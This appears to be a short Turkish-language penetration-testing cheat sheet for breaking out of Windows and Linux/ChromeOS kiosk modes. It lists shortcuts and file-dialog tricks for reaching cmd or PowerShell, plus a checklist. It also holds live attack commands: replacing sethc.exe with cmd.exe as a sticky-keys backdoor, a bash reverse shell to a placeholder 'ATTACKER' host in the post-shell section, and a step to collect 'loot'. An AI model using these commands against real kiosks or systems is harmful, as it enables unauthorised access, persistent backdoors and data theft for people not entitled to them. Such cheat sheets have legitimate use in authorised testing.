Escaping from KIOSKs

hardware kiosk

Kiosk modu çoğu zaman “tam ekran uygulama + kısıtlı shell”dır. Amaç Explorer, cmd/PowerShell veya tarayıcı diyaloglarından gerçek bir komut yüzeyi açmaktır.

Metodoloji

1. Hangi shell’lerin engelli olduğunu ölç (TaskMgr, cmd, PowerShell, Run).

2. Dosya aç / kaydet / yazdır diyaloglarından dizin gezginine çık.

3. Yardım, erişilebilirlik veya güncelleme diyaloglarını breakout için kullan.

4. Elde edilen shell ile kalıcı kullanıcı bağlamında loot topla.

Windows breakout

Win+R → cmd / powershell (açıksa)

Ctrl+Shift+Esc → Task Manager → File → Run new task → cmd

Alt+Space / Alt+Tab ile kiosk fullscreen kır

Dosya Aç diyaloğu → adres çubuğuna C:\Windows\System32\cmd.exe

Sağ tık → Open with → Browse → cmd.exe

# Dialog adres çubuğundan:
powershell -nop -c whoami

Diyalog / Office / PDF

Yazdır → PDF / OneNote → dosya gezgini

Hyperlink → tarayıcı → downloads → .hta/.ps1

F1 Help → Internet Explorer motoru → adres çubuğu

# Sticky keys replace (fiziksel + admin öncesi disk erişimiyle)
copy cmd.exe sethc.exe

Linux / ChromeOS kiosk

Ctrl+Alt+F2   # TTY

Ctrl+Alt+T    # terminal (ChromeOS crosh bazen)

crosh → shell (izinli cihazlarda)

xterm || gnome-terminal || /bin/bash

Shell sonrası

whoami

id

hostname

whoami /all; net user; ipconfig /all

bash -i >& /dev/tcp/ATTACKER/443 0>&1

Checklist

[ ] Win/Run/TaskMgr yüzeyi denendi
[ ] dosya diyaloğu breakout denendi
[ ] yardım/yazdır/hyperlink denendi
[ ] etkileşimli shell alındı
[ ] kullanıcı bağlamında loot not edildi